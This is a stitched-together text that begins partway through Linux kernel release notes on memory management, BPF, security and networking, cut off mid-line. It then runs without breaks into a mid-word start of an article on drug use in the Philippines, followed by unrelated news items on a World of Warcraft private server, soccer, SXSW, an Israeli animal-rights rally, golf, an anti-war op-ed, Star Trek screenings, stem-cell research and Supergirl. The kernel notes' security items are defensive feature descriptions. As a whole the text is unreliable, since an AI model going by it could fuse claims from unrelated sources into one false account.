EXT4 Scalability improvements when allocating inodes commit Backward compatibility support for Lustre ea_inode implementation commit
XFS Disable per-inode DAX flag, as it can crash commit
F2FS Support F2FS_IOC_FS{GET,SET}XATTR commit Support inode checksum commit Introduce discard_granularity sysfs entry commit Support project quota commit Support journalled quota commit Expose features to sysfs entry commit or via ioctl commit Add app/fs io stat commit Enhance on-disk inode structure scalability commit Introduce gc_urgent mode for background GC commit
CIFS Enable xattr support on SMB2+ commit, commit SMB3: Add support for multidialect negotiate (SMB2.1 and later) commit
SQUASHFS Add zstd support (FEATURED) commit
AUTOFS4 Make dev ioctl version and ismountpoint user accessible commit Make disc device user accessible commit
4. Memory management
Heterogeneous Memory Management (FEATURED) commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit
Second step of Transparent Huge Page swap optimization. In the first step, the splitting huge page is delayed from almost the first step of swapping out to after allocating the swap space for the THP and adding the THP into the swap cache. In the second step, the splitting is delayed further to after the swapping out finished. Swap out throughput of THP improves 42% in some benchmarks commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit
Virtual memory based swap readahead. The traditional approach is readahead based on the placement of pages in the swap device; this release does swap readahead based on the placement of swapped pages in virtual memory. This approach causes extra overhead in traditional HDDs, which is why it's only enabled for SSDs. A sysfs knob, /sys/kernel/mm/swap/vma_ra_enabled, has been added that allows to enable it manually; swap readahead statistics are also available commit, commit, commit, commit, commit
percpu: replace percpu area map allocator with bitmap allocator. There now exist use cases that allocate a million or more objects, which made the previous implementation inadequate commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit
Memory hotplug: remove zone restrictions and allow explicit onlining type on any memblock, regardless of the physical adress commit, commit
Separate NUMA statistics from zone statistics for improved scalability commit, commit, commit
Transparent huge pages migration without breaking the huge page first commit, commit, commit, commit, commit, commit, commit, commit, commit, commit
hugetlb: when clearing a huge page from the begin to the end, it is possible that the begin of the huge page is evicted from the CPU cache, and it is possible for the application to access the begin of the huge page after clearing the huge page. This release clears the huge page from the end to the beginning commit
madvise(2): introduce MADV_WIPEONFORK, which result in a memory area being empty in the child process after fork. It differs from MADV_DONTFORK in that if a child process accesses memory that was MADV_WIPEONFORK, it will get zeroes, but the address ranges are still valid. It only works on private, anonymous VMAs. It is similar to the OpenBSD minherit syscall with MAP_INHERIT_ZERO commit, commit
swap: choose swap device according to numa node to improve performance commit
shmem: add hugetlbfs support to memfd_create(2), adding a new flag, MFD_HUGETLB. It is useful for the Oracle garbage collection commit
Add /proc/pid/smaps_rollup, a new proc file. Some systems (eg Android) regularly samples the memory usage in /proc/pid/smaps to determine aggregate memory statistics (e.g., total PSS) of a process. For very large processes, that can be too slow, as printing the information in /proc/pid/smaps can be too slow. The new file contains most of the fields of /proc/pid/smaps, but instead of a set of fields for each VMA, it contains one synthetic smaps-format entry representing the whole process. In the single smaps_rollup synthetic entry, each field is the summation of the corresponding field in all of the real-smaps VMAs. The same format is preserved so thatuserspace parsers can repurpose parsers with minimal fuss commit
SLUB: add free list pointer obfuscation inspired from PaX. It adds nearly zero overhead and frustrates the very common heap overflow exploitation method of overwriting freelist pointers commit
SLUB: add a naive detection of double free or corruption similar to "fasttop" check in GNU C Library allocator commit
userfaultfd: enable zeropage support for shmem commit, commit, commit, commit, commit, commit, commit
userfaultfd: allow to request for a signal to the faulting process, instead of the page-fault event. Dealing with page-fault event using a monitor thread can be an overhead in these cases commit
userfaultfd: provide pid in userfault msg, it could be useful for calculating downtime during postcopy live migration per vCPU commit, commit
zRam: support writing incompressible pages to disk commit, commit, commit, commit, commit, commit, commit, commit, commit
z3fold: use per-cpu unbuddied lists for improved scalability commit
5. Block layer
Add a DAX common 4k zero page commit, commit, commit, commit, commit
blktrace: Support for cgroup info commit, commit
bfq: boost throughput with flash-based non-queueing devices commit
Device Mapper: dm integrity: count and display checksum failures commit
md: Support for multiple partial parity logs commit, commit
loop: add ioctl for changing logical block size commit
drbd: new disk-option disable-write-same commit
null_blk: add configfs interface commit, add interface to power on disk commit, badbblocks support commit, bandwidth control commit, emulate cache commit, support discard commit, support memory backed store commit
skd: Convert to blk-mq commit, remove SG IO support commit
6. Tracing, perf and BPF
perf Record the branch type and then show statistics and info about in callchain entries. A new option save_type is added in --branch-filter option for perf record. It is also possible now for --branch-history to work without callgraphs commit, commit, commit, commit, commit, commit, commit, commit Add the new sample type for physical address to allow the tracing/profiling of physical memory addresses (with new option --phys-data ), where the PMU supports it commit, commit, commit, commit, commit Implement a visual marker for fused x86 instructions in the annotate TUI browser, available now in 'perf report' commit, commit Export some PMU capability details in the new /sys/bus/event_source/devices/cpu/caps/ sysfs directory commit Add initial support for namespaces, using setns to access files in namespaces, grabbing their build-ids, etc commit, commit, commit, commit, commit pipe mode: process tracing data in 'perf annotate' pipe mode commit Add header record types to pipe-mode commit, commit perf annotater: Support --show-nr-samples option commit, commit perf annotate browser: Circulate percent, total-period and nr-samples view commit perf buildid-cache: Cache debuginfo commit perf report: Enable finding kernel inline functions commit perf script: Add support for exporting to sqlite3 commit perf trace: Support syscall name globbing commit, commit perf tools: Add support for printing new mem_info encodings commit
BPF Add support for sys_enter_* and sys_exit_* tracepoints commit Allow selecting numa node during map creation commit, commit Add new jump instructions ( BPF_J{LT,LE,SLT,SLE ) to eBPF in order to reduce register pressure by avoiding BPF_J{GT,GE,SGT,SGE } rewrites and result in shorter BPF programs, less stack usage and less verification complexity commit, commit, commit, commit, commit, commit, commit, commit, commit Add bpf device maps and XDP_REDIRECT, which can be used to build arbitrary switching frameworks using XDP commit, commit, commit, commit, commit, commit, commit, commit, commit Implements a sockmap and socket redirect helper using a model similar to XDP netdev redirect. A sockmap is a BPF map type that holds references to sock structs. Then with a new sk redirect bpf helper BPF programs can use the map to redirect skbs between sockets. To use this infrastructure a new BPF program BPF_PROG_TYPE_SK_SKB is added that allows users to reference sock details, such as port and ip address fields, to build useful socket layer program commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit Add option to set mark and priority in addition to bound device for newly created sockets. Also, allow the bpf programs to use the get_current_uid_gid helper meaning socket marks, priority and device can be set based on the uid/gid of the running process commit, commit, commit, commit, commit, commit, commit
7. Virtualization
8. Security
seccomp Improved logging: admins can permit or quiet logging of specific seccomp actions; applications can request logging of all actions (except for RET_ALLOW ); it makesit possible for devsto request logging of specific syscalls commit, commit, commit, commit, commit, commit Implement SECCOMP_RET_KILL_PROCESS action ( SECCOMP_RET_KILL is aliased to SECCOMP_RET_KILL_THREAD ) commit, commit, commit, commit
Introduce v3 namespaced file capabilities that allows to change file capabilities inside a namespace, without leaking the capability outside of the namespace. For more information, read the recommended LWN article. commit
exec: Use sane stack rlimit under secureexec commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit
AppArmor Add mediation of mountpoints and signals commit, commit Add support for absolute root view based labels commit Add base infastructure for socket mediation commit
Selinux Generalize support for NNP/nosuid SELinux domain transitions commit Allow per-file labeling for cgroupfs commit
audit: Reduce overhead using a coarse clock commit
Extract early boot entropy from the passed cmdline commit
9. Networking
Introduce zerocopy socket send flag MSG_ZEROCOPY (FEATURED) commit, commit, commit, commit, commit, commit, commit, commit, commit, commit
Support RX checksum with IPsec crypto offload for esp4/esp6 commit, commit
Generic Routing Encapsulation: Add ERSPAN type II tunnel support. One of the purposes is for Linux box to be able to receive ERSPAN monitoring traffic sent from the Cisco switch, by creating a ERSPAN tunnel device. In addition, the patch also adds ERSPAN TX, so Linux virtual switch can redirect monitored traffic to the ERSPAN tunnel device commit
IPv6 Segment Routing Add support for advanced local segment processing, as specified in most recent specifications of IPv6 SR commit, commit, commit, commit, commit Support encapsulation of IPv4 packets commit Implements the T.Encaps.L2 SR function, enabling to encapsulate an L2 Ethernet frame within an IPv6+SRH packet commit Update the seg6local lightweight tunnel, and mainly implement four new actions: End.T, End.DX2, End.DX4 and End.DT6 commit, commit, commit
sched actions: improve dump performance by adding support for filtering based on time since last used commit, commit, commit, commit
NCSI: VLAN Filtering Support commit
unix sockets: drop obsolete fd-recursion limits. All unix sockets now account inflight FDs to the respective sender. There is no known way for a local user to exceed those limits or exploit the accounting commit
UDP: Allow to switch off UDP-based tunnel offloads per device commit, commit, commit, commit, commit, commit
Distributed Switch Architecture: learning static FDB entries via the switchdev notification chain rather then by using bridge bypass SELF flag commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit
IPv6: optimization: avoid overhead when no custom FIB rules are installed commit
IPv6: Add sysctl |
istage sampling methods, with over 10,700 respondents in 256 sites nationwide. The main drugs of abuse reported from 2002 to 2010 have remained unchanged: shabu is the most common, followed by marijuana and rugby, cocaine, diazepam/Valium, and Nubain.Barangays are classified according to their degree of “drug affectation.” In December 2013, the NADPA noted that 7,555 barangays or 17.98% of the total of 42,024 barangays nationwide were “drug affected.” Roughly one in 5 to 6 barangays may be affected, with some more affected than others.
Median age 29 to 30 years; ages from 8 to 73 years
9 in 10 are males
Half are single, most are unemployed
Average monthly income of P15,000-P16,000
30%-32% have reached college level
Poly drug use (different types of drugs at the same time) is common
Admissions have increased, from 2,744 in 2012, 3,266 in 2013, and 4,392 in 2014
Apart from the periodic surveys, the Department of Health (DOH) through the Integrated Drug Testing Operations Management System (IDTOMIS) monitors the numbers of drug (urine) tests and the results. Over 3.5 million tests are done each year. Drug tests may be required for a variety of reasons, mainly as requirement for getting licenses, permits, pre-employment requirements, and for law enforcers.The last IDTOMIS report for the week of April 28 to May 4, 2014, reported 243 positive urine tests out of 53,863, a rate of 0.045% or one positive for every 220 samples. Urine testing also has limitations as it can measure only recent use of shabu and marijuana.Rehabilitation centers are also a source of data. The DDB website provides a list of the centers and annual statistical reports up to 2014. There are 29 residential rehabilitation centers and two outpatient rehabilitation centers in the country. From 2012 to 2014, the profiles of the rehab center patients show the following:
Only one in 300 Filipinos who use drugs have been to a rehabilitation center (4,392 out of 1.2 million estimated users). Drawing conclusions on the magnitude of the drug problem from data of people in rehabilitation would be analogous to writing about the overall health of Filipinos using data derived from hospital ICUs. They only form a part of the picture.
How does one enter rehab, and what goes on in there? The requirements for admission to rehab are drug dependency examination result from an accredited physician and clearances from the barangay, police, and the Regional Trial Courts of no pending court cases. Getting these clearances may inhibit access to rehabilitation. Those involved in petty crimes may have problems in obtaining the necessary clearances.
Drug dependents being treated by private doctors or who may go to hospitals or rehab centers abroad are not included in the statistics, but they are considered a minority and are generally more affluent than the typical rehabilitation center client.
Several treatment modalities may be used in the rehabilitation centers. These modalities and approaches are described in the DDB website:
Multidisciplinary Team Approach
Therapeutic Community Approach
Hazelden-Minnesotta Model
Spiritual Approach
Eclectic Approach
Other rehabilitation centers also incorporate strenuous physical activity into their programs including manual labor, sports and aerobics; recall Cebu prison inmates “moonwalking” in their orange uniforms.
It is not clear which approaches have been the most effective in terms of preventing relapse. Theoretically, any rehab program should be intensive, coordinated, long lasting, individualized, sustained and run by experienced professionals. An authoritative reference, Drugs and Drug Policy – What Everyone Needs to Know, states that treatment for stimulant addiction (such as methamphetamines and cocaine) does not usually work and the most common treatment outcome is relapse. There is no “perfect” approach, and all of them have high relapse rates, thus, there is really no “quick fix” or “magic bullet” to stop drug dependence. In some countries where heroin and narcotic addiction are common, use of drug substitutes is practiced. These substitutes enable users to reduce their dependence on heroin, allow them to be functional, and live a more controlled life.
Not all drug users need treatment. A form of “recovery” is the most frequent form of exit from all types of behavioral problems including, but not limited to, addiction to pornography, computer games, sex, alcohol, smoking, gambling, and drugs. A combination of factors may help – “growing up,” starting a job, fulfilling familial responsibilities and expectations, experiencing the burdens of addiction. It does not help if one goes back to a situation where family, partners, and peers continue to abet and encourage use.
Where will all the recent surenderees go? The reported number of people who have recently “surrendered” to authorities as “drug users” has been reported at 120,000 and still rising. This sudden surge has led to long lines for admission for rehabilitation. Unfortunately, there are no rehabilitation facilities that can accommodate them, should they fit the criteria for admission. Even if the capacity of rehabilitation centers would magically double, merely 10,000 people could be accommodated – less than 10% of “surrenderees.” For the majority, there is no rehabilitation program existing and alternatives have to be proposed. (READ: Part 2: The Philippines as target market for illicit drugs) – Rappler.com
Vicente S. Salas, MD, MPH, FPAFP, is an international consultant on HIV and AIDS, migration health and sexual and reproductive health who headed a team that wrote the first situation analysis of HIV and Injecting Drug use in the Philippines (2008), and authored a chapter, “HIV in Injecting Drug Users” in the book AIDS in the Philippines (2010). The recent spate of killings, a major focus of the new president, and the increasingly shrill discussions about drugs, drug addicts, drug lords and drug pushers prompted him to write this piece.Many unofficial World of Warcraft legacy servers roll the game back to its 2004 launch. The ambitious Felmyst project, now in open beta, takes things a step further, recreating the game as it was following the launch of its first expansion, The Burning Crusade. Those were rough days.
World of Warcraft’s first expansion was much more challenging and less flashy than the ones that followed. The new zones introduced were large and meandering. Raid attunment and progression was rough, and leveling from 1 to 70 was a huge undertaking. That’s exactly what the folks behind the Felmyst project are hoping to recreate.
From the Felmyst website:
Development for Felmyst has spanned years behind closed doors and is designed to emulate a Burning Crusade Private Server up to retail standards. Using publicly available data, we have tackled the fundamental issues that remind players that they aren’t playing on official servers. Our software is the product of closed source development around clean professional programming standards. The goal of Felmyst is to produce a complete and satisfying World of Warcraft experience.
There’s no denying that World of Warcraft is a much easier game now than it was back in 2007. Blizzard’s spent the past decade streamlining systems and simplifying mechanics, something early fans of the game like to call “dumbing things down.” Felymst’s lead, who goes by the name Gummy, launched the project with an aim to give players back the challenge that’s missing from both the retail game and most other unofficial servers.
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Gummy talks about the recreating the bad old days in the video below (via Tech Raptor).
Where other private serves might ramp up player damage, speed up experience gain and tone down end-game content, Felmyst aims to keep things just as they were in 2007.
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I’ve poked around in the beta, and I had forgotten how slow going it was. How new spells and skills had to be purchased from a trainer rather than learned automatically. How a mage had to stop and regain mana instead of chain-killing low-level trash. It’s tough, but sort of nice.
In order to play in Felmyst’s open beta, all one has to do is register for an account on the website, download the client and play.
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Keep in mind, however, that this is an unofficial free legacy server, and Blizzard’s been known to shut those down.In no particular order, a few thoughts from Minnesota's 1-1 draw with Edmonton on Saturday:
1. It's been three months - really - since Minnesota won a home game in the league. Moreover, they've yet to win a game at NSC Stadium this year; the last time they won at home was June 8 against Fort Lauderdale, in the Metrodome. Since then, they've lost to Atlanta twice, and tied with Tampa Bay and Edmonton.
Throw in the team's home loss to Des Moines in the US Open Cup, and Minnesota has just two wins in ten home games this year, to go with four ties and four losses. United looked to have a built-in advantage in the fall's title race, with four of their last six games at home, but right now that's looking to be more of a hindrance than a help.
2. Miguel Ibarra's crossing has improved enormously. For the second straight week, an Ibarra cross led to a Minnesota goal - this time, from a short corner. Ibarra played a perfect ball in, one that drew Montons netminder Lance Parker out of his goal but evaded the keeper's punch, setting Cristiano Dias up perfectly for the header that gave Minnesota a 1-0 lead. The winger has always been one of the fastest in the league, but he spent much of the spring searching for that final ball that would give United a chance to score; two weeks in a row, he's found it.
3. Sinisa Ubiparipovic might have just set the bar for worst-ever performance for a Minnesota player. He came on as a substitute, played one minute, and was sent off. I'm not sure why he decided that he needed to kick Edmonton's Chris Nurse in the chest after he'd been fouled; perhaps Nurse said awful things about his family in the split-second it took for the pair to fall to the ground. Regardless, it was a moment of genuine madness, right in front of the referee, who didn't hesitate for a second in showing Ubiparipovic the red card.
The last United player who earned a red card, Brian Kallman, hasn't seen the field since. We'll see what fate befalls Ubiparipovic.
4. Chalk up another mark on the "goals allowed at critical times" tote board. This time, the smoke hadn't even cleared from the celebratory flares before Minnesota had given away its 1-0 lead. Dias was beaten down Edmonton's right-hand side almost immediately from the kickoff by Antonio Rago, and the other three Minnesota defenders got caught in no-man's land between attackers, and suddenly nobody was marking anybody and Corey Hertzog was booting the ball into the back of the net.
5. It'll be interesting to watch the attendance trends for the remainder of the fall. Minnesota drew just 3,874 people on Saturday, their smallest crowd of the season. Their first three regular-season games at the NSC drew three of their five largest attendances of the year, all over 5,600 - but with fall comes other distractions, like school for kids, and Saturday college football for casual fans. It's also only going to get chillier in September and October; not everyone enjoys a cold day or evening out.
6. Every team is still in the race to win the fall championship. Despite earning just eight points in six matches, Minnesota is only two points behind the three-way Tampa-Carolina-Fort Lauderdale tie at the top of the league. In fact, three points is all that separates first place and seventh place in the NASL. Even lowly San Antonio, which earned its first points of the fall with a draw at Fort Lauderdale on Saturday, is not necessarily out of the running, with eight games remaining. Parity was the story of the spring; so too in the fall.
United, then, could become the league leaders with a good run of results - but that's something they haven't managed at all this season. Their longest winning streak is one match; their longest unbeaten streak is two matches. You have to go back to May 2012 to find Minnesota's last two-game winning streak in the regular season.
This time last year, Minnesota was limping through a run of four consecutive draws, treading water and just barely staying in the sixth and final playoff position. That's not going to work this year. The fall title is all that matters, and United can't get there with draws and the occasional victory.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Oct. 30, 2015, 6:07 PM GMT / Updated Oct. 30, 2015, 6:07 PM GMT By James Eng
The influential South by Southwest tech festival is doing an about-face after canceling two panel discussions about harassment and the online gaming community over purported threats of violence.
Following a barrage of criticism, SXSW admitted Friday that its decision to scrap the panels was a huge mistake. In lieu of the panels, SXSW said it would now host and livestream a daylong “online harassment summit” at SXSW 2016 in Austin, Texas, on March 12.
"Earlier this week we made a mistake. By canceling two sessions we sent an unintended message that SXSW not only tolerates online harassment but condones it, and for that we are truly sorry," Hugh Forrest, director of the SXSW Interactive Festival, said in a statement posted Friday to the festival’s website.
SXSW’s decision earlier this week to cancel two scheduled panels about online harassment and gaming culture drew stinging backlash from women’s rights advocates, journalists, some gamers and others. Online media publications BuzzFeed and The Verge (in which NBCUniversal, the parent company of NBC News, has a partial stake) separately announced they would boycott the festival unless the panels were reinstated.
"The resulting feedback from the individuals involved and the community-at-large resonated loud and clear," Forrest wrote. "While we made the decision in the interest of safety for all of our attendees, cancelling sessions was not an appropriate response. We have been working with the authorities and security experts to determine the best way to proceed."
He added: "It is clear that online harassment is a problem that requires more than two panel discussions to address."
Related: SXSW Cancels Panel on Harassment Citing Threats of Violence
SXSW Interactive is an annual festival featuring original music, independent films and emerging technologies. The festival, which began in 1987, and has grown in size and scope each year and now attracts tens of thousands of attendees from more than 80 countries.Thousands of Israeli rallied for animal rights at Tel Aviv’s Rabin Square on Saturday night.
Protesters held up signs calling for an end to transports of livestock to Israel for slaughter.
“I want to live,” one sign bearing a photo of a cow said. “Their lives are in our hands,” another banner said.
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Another sign brandished by a demonstrator decried scientific experimentation on animals.
In 2016, 571,972 live sheep and cattle arrived at Israeli ports from Europe and Australia – nearly double the number for 2015 (292,274), according to Agriculture Ministry figures. More than 30 percent came from Australia – the biggest live animal exporter in the world — on journeys that take up to three weeks, with the remainder arriving from Eastern Europe and Portugal. Ships resembling multi-story parking lots carry from 1,000 to 20,000 cattle, or 100,000 sheep, or a combination.
Once in Israel, the animals are loaded onto trucks for journeys that can take hours to slaughterhouses or to pre-slaughter fattening facilities.
Evidence from Australian vet Lynn Simpson, who served as the official on-board vet for 57 live export journeys, including to Israel, described animals in cramped conditions, passing the journey covered in their own excrement, calves “cooking from the inside” in the boiling temperatures of the Red Sea, and animal corpses being tossed into the ocean. Simpson was fired, reportedly because the Australian livestock industry no longer wanted to work with her.
In February, the High Court of Justice ordered the government to “change gear” and speed up attempts to reduce the suffering of animals shipped to Israel for fattening and slaughter. Giving its interim opinion on a petition submitted by animal rights groups for a complete ban on what the groups call “death shipments” and their replacement with imported chilled meat, justices Elyakim Rubinstein, Hanan Meltzer and Neil Hendler instructed the government to provide an update by April 30 on efforts to implement policies that would reduce the suffering of imported animals.
“There is nobody who doesn’t think transported animals shouldn’t suffer. The gap is between zero imports, as requested by the petition, on the basis that there is no real way to prevent suffering and to supervise and enforce, and between real steps to reduce suffering,” the judgment said.
In May, Israel’s Agriculture Ministry announced it is barring the “shackle and hoist” method of ritual slaughter immediately for new slaughterhouses looking to export meat to the Jewish state. Starting June 1, 2018, the ban also affected abattoirs with existing contracts.
Widely used by slaughterhouses in South America, the controversial method involves electrically prodding, restraining, and then hoisting an animal in the air by one leg after its throat is slit. Workers then sever its spinal cord.OAKMONT, Pa. -- Stalled by rain, the U.S. Open is almost back on schedule. And when another marathon day finally ended Saturday with Shane Lowry of Ireland atop the leaderboard at Oakmont, it was more chaotic than ever.
None of the six players who remained under par has ever won a major championship.
U.S. OPEN: Scores | The Upshot | Notables who missed cut
Lee Westwood and Sergio Garcia, who between them have played in 142 majors without winning, were only three shots behind.
Andrew Landry, in his first U.S. Open, didn't look the least bit rattled and was two shots back.
And then there was Dustin Johnson, no stranger to suffering in the majors. He had the 36-hole lead, started the third round late Saturday afternoon by stuffing his approach to 5 feet for birdie, and then hit his next tee shot so far left that it went over a counter of lemonade glasses and into a concession stand, the ball settling next to a blue tub filled with bags of ice. He nearly made birdie. Bogeys followed and he also was three shots behind.
Jason Day worked himself back into the mix. Jordan Spieth did not.
Through it all, Lowry looked poised as ever. With a chance to give Irish golf its 10th major in 10 years, he ended the day at 5-under par through 14 holes when darkness suspended the final round. He was thrilled to stop and catch his breath. And he can't wait to get back out at 7 a.m. Sunday.
"We all know that this course can jump up and bite you in a split second," Lowry said. "So yeah, I'm two ahead with 22 holes left. Let's not get ahead of ourselves. These are the best golfers in the world behind me. I have to go out there and do what I've been doing all week. I'm really looking forward to tomorrow. This is exactly where you want to be. I've been beating myself up over the last six months trying to get in this position.
"I'm here now. I might as well enjoy it while I'm here."
It wasn't so enjoyable earlier in the day when he was lining up a 30-foot birdie putt and nudged the ball with his putter. It moved ever so slightly, enough for Lowry to see, and he turned in disgust to call over an official, then held the putter behind his neck as if he wanted to snap it.
He took the one-shot penalty and then saved his mood with an 8-foot bogey putt.
"To hole that second putt was massive for me and massive for my whole day," Lowry said.
After two of the longest days brought on by three rain delays in the opening round, Sunday becomes a sprint.
Landry, the 28-year-old qualifier who has never been on a stage remotely this big, didn't flinch when he had the 18-hole lead or when he played alongside Johnson, who can intimidate with athleticism and power off the tee.
"No nerves, very comfortable," he said after finishing at 3 under through 13 holes.
The leader in the clubhouse when the day ended was Branden Grace, who last year at Chambers Bay was tied for the lead until he hit 3-wood onto the train track and out-of-bounds for a double bogey that cost him. Good news for the South African: A train can be heard from Oakmont, but not hit.
Grace pieced together a 66 to reach 1-under 209, four shots behind Lowry.
The most intriguing character is Johnson because of his long list of heartache in the majors, particularly last year at Chambers Bay in the U.S. Open when he was 12 feet away from winning and took three putts to finish one shot behind Spieth.
He had made only one bogey in 36 holes until it began to get away from him -- a double bogey on No. 3 when a chip came back to his feet, a bogey from the bunker on the par-3 sixth, a sloppy bogey on the tough 10th hole with a wedge that came up woefully short.
Johnson remained optimistic as ever.
"I'm giving myself opportunities," he said. "Feel like I'm hitting my putts on my line with the correct speed. So, I mean, at some point, they will start to go in. Hopefully, that's tomorrow.... I've been in the position before. I know what to expect. I know how to handle it. So hopefully, the ball falls my way tomorrow."
Day opened with four birdies in five holes and shot 66, leaving him six shots behind Lowry. Spieth also started strong with three quick birdies, only to get derailed with a double bogey. He had to settle for a 70 and was nine shots behind Lowry.
It's the first time since August 2014 that Spieth hasn't been on the leaderboard going into the final round.
"Come out tomorrow and try to pull a Johnny Miller," Spieth said.
Miller famously closed with a 63 at Oakmont to win the 1973 U.S. Open, which remains the greatest final round by a major champion. But the course was drenched that Sunday, and that won't be the case now.
Even though Oakmont absorbed nearly 3 inches of rain on the opening day and remain soft enough for shots to spin ever so slightly, it was clear the hot sun began to bake it out and it likely will be fierce as usual for the final round.Anybody's Son Will Do
By Bill Willers
20 April, 2010
Opednews.com
In 1983, the National Film Board of Canada produced a 57-minute film, "Anybody's Son Will Do". Arguably the best anti-war film ever made, and tailored for public television, it scared the hell out of the U.S. military machine, which has done its best to "disappear" it. For years it has been nearly impossible to find a copy, but some kind soul has posted it on YouTube where it can be seen in six segments.
The film shows the process by which young men become psychologically engineered to kill or die on command. While the model used is the U.S. Marine Corps, it's made clear that the modern techniques for creating soldiers are refined, dehumanizing and universal.
Military forces will take boys as young as the law allows, as witness African militias that, unrestrained by regulation, recruit children as young as ten. People into their twenties, having begun to think for themselves to too great a degree, tend not to be sufficiently malleable. In the U.S., recruitment below age 17 is not legal. However, as war has become ever more computerized, need is growing for tech-savvy recruits who can kill coolly and indiscriminately from great distances, as if playing video games. The military has become very good at video games.
What this leads to in the real world is exemplified by this recently publicized footage of the slaughter by U.S. military of 12 civilians. The video has been a much-needed awakening for many. But as distressing as the carnage itself is the callousness with which the people go about their work: "Alright, hahaha, I hit 'em... Nice, good shooting.... Thanks"
http://www.collateralmurder.com/
AsGlenn Greenwald has correctly declared, the tragedy of this is that it's not aberration but commonplace. What is unusual is that this particular episode was made public.
http://seminal.firedoglake.com/diary/39266
What is also tragic is that it represents precisely what the U.S. military wants to make of recruits who will be
reeducated -- brainwashed -- to see it as manly, patriotic, heroic. And what youngsterwith percolating hormones, negligible life experience and no basis for critical thought doesn't want to be like that?
Go to http://www.americasarmy.com/ and click on "America's Army Graphic Novel" to see what age group and level of education the Pentagon is aiming for. The "novels" are 28-page comics with text bubbles over GI Joe action figures and brightly colored noise representations: "KRR-AKK", "BLAM", "RATATATAT, CHAKA CHACKA CHAK...".
And now with their arcades open to the public, the military has its foot in the door of the minds of younger children who, if asked, would likely insist they can tell the difference between video games and reality.
click here
As for "Anyone's Son Will Do", DVDs of it should be in every junior high and high school in the country. Parent-teacher associations should have screenings. With any luck, it might get us headed toward a day when a common sight will be bumper stickers "Support Our Peace Makers".
Bill Willers is emeritus professor of biology, University of Wisconsin-Oshkosh now living in Middleton, WI. He is founder of Superior Wilderness Action Network (SWAN) and editor of Learning to Listen to the Land and Unmanaged Landscapes, both from Island Press. He posts occasionally online at OpEdNews, Common Dreams, Counterpunch and Dissident Voice.
Part I
Part II
Part III
Part IV
Part V
Part VINo matter your feelings on nu-Trek, this is very cool — for a limited time, Star Trek and Star Trek Into Darkness will have a limited re-release in which the scores for both films will be played live by an accompanying orchestra.
Unfortunately, the tour is extremely limited, although one of the showings just happens to be in San Diego during Comic-Con (Quelle coincidence!). Here are the dates and locations so far:
• May 24: Star Trek Into Darkness, KKL Luzerne (Lucerne)
• May 25: Star Trek, KKL Luzerne (Lucerne)
• May 29-31: Star Trek, Royal Albert Hall (London)
• May 30-31: Star Trek Into Darkness, Royal Albert Hall (London)
• July 18: Star Trek, Jones Hall (Houston)
• July 19: Star Trek Into Darkness, Jones Hall (Houston)
• July 26: Star Trek, Embarcadero Marina Park South (San Diego)
• July 31: Star Trek Into Darkness, The Mann Center (Philadelphia)
• March 21, 2015: Star Trek, Sony Centre (Toronto)
Personally, I find the movie selections themselves to also be unfortunate, but I love this idea. I'd pay good movie to go watch Star Wars or Empire Strikes Back with a live orchestra, or really any John Williams-scored movie. Here's hoping this catches on!
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[Via The Dissolve]Scientists in Britain have taken a significant step towards the possibility of reversing certain forms of blindness using stem cells.
For the first time, researchers have successfully grown light sensitive mouse retina cells from embryonic stem cells in the lab and transplanted them into night-blind mice.
Following the transplantation, the cells appeared to develop normally, by integrating into the existing retina and forming nerve connections needed to transmit visual information to the brain.
The findings are published in the latest edition of Nature Biotechnology.
It is not yet clear how the technique would work in humans.
There are two types of photoreceptors in the eyes, known as rods and cones.
Rods are important for night vision.
Using a new technique involving 3D culture and differentiation of mouse stem cells recently developed in Japan, the team grew retinas containing all the different nerve cells needed for sight.
They then transplanted 200,000 of the artificially grown photoreceptor cells into retina of the night blind mice.
Three weeks later a much smaller number of the cells had integrated into the mouse retina and had begun looking like normal mature rod cells.
They remained present six weeks after transplantation.
The scientists also saw nerve connections, giving rise to the suggestion that the cells were able to connect with the retina's nerve system.
Experts say the research is significant.
However, they say many more of the cells would have to successfully integrate into the recipient retina for the technique to be effective.
The group also did not assess whether the animals' vision was improved as this would have required a far larger number of transplantable cells than could be produced in this study.
The research group that carried out the study is led by Prof Robin Ali of University College London Institute of Ophthalmology and Moorfields Eye Hospital.
He is also the chief scientific advisor with Irish charity Fighting Blindness.
Fighting Blindness external affairs manager Anna Moran said: "Milestones like this are hugely significant in moving us one step closer to the clinic to ultimately deliver treatments for the 224,000 people currently affected by sight loss in this country."Comic-Con got the first (legal) look at CBS’ eagerly anticipated Supergirl pilot at the opening night of the San Diego fan mega-convention Wednesday night. The verdict? Based on Twitter reactions from the screening, fans were overwhelmingly positive about the first episode (which also “leaked” onto file-sharing services in May shortly after its series order), and they were especially glowing toward star Melissa Benoist.
Here’s a sample of responses, culled from both media pros and everyday fans:
We just finished the #Supergirl pilot @ #SDCC: I'm absolutely speechless. Three quick non-spoiler-y thoughts about it so here goes: (1/4) — The Flash Podcast (@TheFlashPodcast) July 9, 2015
2) as a origin story to a great superhero, you are going to LOVE what @AliAdler @GBerlanti @AJKreisberg has set up in #Supergirl (3/4) — The Flash Podcast (@TheFlashPodcast) July 9, 2015
3) – another new icon for this generation has arrived, her name is @MelissaBenoist – #MelissaBenoistAbsolutelyIsSupergirl #Supergirl (4/4) — The Flash Podcast (@TheFlashPodcast) July 9, 2015
#WBSDCC #SDCC. #Supergirl. What worked. James Olson and everyone at the paper, the set up for who the villains are. — TV After Dark (@TVAfterDark) July 9, 2015
#WBSDCC #SDCC #Supergirl Worrisome things. Potential for boring bad guys like alien of the week and silly like very triangle. — TV After Dark (@TVAfterDark) July 9, 2015
Applause at the first commercial break of Supergirl. October 26th can't come soon enough! #SDCC — Yahoo TV (@YahooTV) July 9, 2015
Heard simultaneously @ Jimmy Olson's first appearance in Supergirl: "Squeee!" "Ugh. That can't be Jimmy Olson because he's not black." #SDCC — Yahoo TV (@YahooTV) July 9, 2015
